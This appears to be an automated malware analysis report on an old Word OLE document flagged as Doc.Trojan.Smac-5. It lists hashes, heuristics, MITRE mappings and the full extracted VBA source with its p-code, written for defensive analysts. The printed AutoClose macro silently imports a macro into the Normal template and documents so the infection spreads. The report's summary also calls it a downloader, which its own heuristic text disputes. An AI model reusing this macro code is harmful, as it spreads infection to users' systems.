Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4553e5c2734661bb…

MALICIOUS

Office (OLE)

38.0 KB Created: 1998-12-08 09:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 82fabfe988a8a45fc191503835d43702 SHA-1: 7617019c3a3e24b94e812c3325a84af740188451 SHA-256: 4553e5c2734661bb4fd471202820e8603719d9a81efcdf5f90fa771e07083586
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious OLE document containing VBA macros. The AutoClose macro is designed to import and save a macro named 'NewMacro.txt', which is indicative of a downloader or persistence mechanism. The presence of legacy WordBasic markers and the AutoClose function strongly suggests an attempt to establish persistence or execute further malicious code upon document closure.

Heuristics 4

  • ClamAV: Doc.Trojan.Smac-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Smac-5
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3799 bytes
SHA-256: b8176982bfc1064b80a76d198433fbc9949e21e14a42d03946e32f61fd77dd3e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Macro_Run"
Sub AutoClose()
On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
Pad = Options.DefaultFilePath(wdDocumentsPath)
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "NewMacro" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "NewMacro" Then ActiveInstall = True
Next I
If ActiveInstall = True And NormInstall = True Then GoTo Label_Exit
If NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import Pad + ("/NewMacro.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import Pad + ("/NewMacro.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
Label_Exit:
End Sub

' Processing file: /opt/analyzer/scan_staging/896b7129d3a247b194dc40887ba93d7c.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1182 bytes
' Macros/VBA/Macro_Run - 1977 bytes
' Line #0:
' 	FuncDefn (Sub AutoClose())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld wdAlertsNone 
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #3:
' 	Ld wdDocumentsPath 
' 	Ld Options 
' 	ArgsMemLd DefaultFilePath 0x0001 
' 	St Pad 
' Line #4:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #5:
' 	Ld I 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0008 "NewMacro"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St NormInstall 
' 	EndIf 
' Line #6:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #7:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #8:
' 	Ld I 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0008 "NewMacro"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St ActiveInstall 
' 	EndIf 
' Line #9:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #10:
' 	Ld ActiveInstall 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld NormInstall 
' 	LitVarSpecial (True)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo Label_Exit 
' 	EndIf 
' Line #11:
' 	Ld NormInstall 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #12:
' 	Ld Pad 
' 	LitStr 0x000D "/NewMacro.txt"
' 	Paren 
' 	Add 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' Line #13:
' 	Ld NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' Line #14:
' 	ElseBlock 
' Line #15:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	St Dname 
' Line #16:
' 	Ld Dname 
' 	LitDI2 0x0008 
' 	ArgsLd LBound$ 0x0002 
' 	LitStr 0x0008 "Document"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo Label_Exit 
' 	EndIf 
' Line #17:
' 	Ld Pad 
' 	LitStr 0x000D "/NewMacro.txt"
' 	Paren 
' 	Add 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' Line #18:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld wdFormatDocument 
' 	ParamNamed FileFormat 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0002 
' Line #19:
' 	EndIfBlock 
' Line #20:
' 	Label Label_Exit 
' Line #21:
' 	EndSub

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